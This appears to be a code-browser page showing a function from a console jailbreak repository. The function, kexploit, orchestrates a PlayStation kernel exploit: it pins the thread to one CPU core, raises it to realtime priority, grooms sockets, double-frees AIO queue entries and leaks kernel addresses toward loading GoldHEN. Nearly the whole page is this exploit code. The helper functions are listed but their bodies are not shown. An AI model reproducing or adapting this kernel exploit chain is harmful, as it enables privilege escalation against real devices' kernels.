MCPcopy Create free account
hub / github.com/GamerHack/GamerHack.github.io / kexploit

Function kexploit

g2all/700/lapse.js:1691–1778  ·  view source on GitHub ↗
()

Source from the content-addressed store, hash-verified

1689//
1690// the exploit implementation also assumes that we are pinned to one core
1691export async function kexploit() {
1692 const _init_t1 = performance.now();
1693 await init();
1694 const _init_t2 = performance.now();
1695
1696 try {
1697 chain.sys('setuid', 0);
1698 } catch (e) {
1699 localStorage.ExploitLoaded = "no";
1700 }
1701
1702 if (localStorage.ExploitLoaded === "yes" && sessionStorage.ExploitLoaded != "yes") {
1703 msgs.innerHTML = "GoldHEN is Already Loaded ...";
1704 return new Promise(() => {});
1705 }
1706
1707 const current_core = get_current_core();
1708 const current_rtprio = get_current_rtprio();
1709 log(`current core: ${current_core}`);
1710 log(`current rtprio: type=${current_rtprio.type} prio=${current_rtprio.prio}`);
1711
1712 const main_mask = new Buffer(sizeof_cpuset_t_);
1713 get_cpu_affinity(main_mask);
1714 log(`main_mask: ${main_mask}`);
1715
1716 log(`pinning process to core #${main_core}`);
1717 pin_to_core(main_core);
1718 get_cpu_affinity(main_mask);
1719 log(`main_mask: ${main_mask}`);
1720
1721 log("setting main thread's priority");
1722 set_rtprio({ type: RTP_PRIO_REALTIME, prio: 0x100 });
1723
1724 const [block_fd, unblock_fd] = (() => {
1725 const unix_pair = new View4(2);
1726 sysi("socketpair", AF_UNIX, SOCK_STREAM, 0, unix_pair.addr);
1727 return unix_pair;
1728 })();
1729
1730 const sds = [];
1731 for (let i = 0; i < num_sds; i++) {
1732 sds.push(new_socket());
1733 }
1734
1735 let block_id = null;
1736 let groom_ids = null;
1737
1738 try {
1739 log("STAGE: Setup");
1740 [block_id, groom_ids] = setup(block_fd);
1741
1742 log("\nSTAGE: Double free AIO queue entry");
1743 const sd_pair = double_free_reqs2(sds);
1744
1745 log("\nSTAGE: Leak kernel addresses");
1746 const [reqs1_addr, kbuf_addr, kernel_addr, target_id, evf] = leak_kernel_addrs(sd_pair);
1747
1748 log("\nSTAGE: Double free SceKernelAioRWRequest");

Callers 1

lapse.jsFile · 0.70

Calls 15

logFunction · 0.90
get_current_coreFunction · 0.85
get_current_rtprioFunction · 0.85
get_cpu_affinityFunction · 0.85
pin_to_coreFunction · 0.85
set_rtprioFunction · 0.85
initFunction · 0.70
sysiFunction · 0.70
new_socketFunction · 0.70
setupFunction · 0.70
double_free_reqs2Function · 0.70
leak_kernel_addrsFunction · 0.70

Tested by

no test coverage detected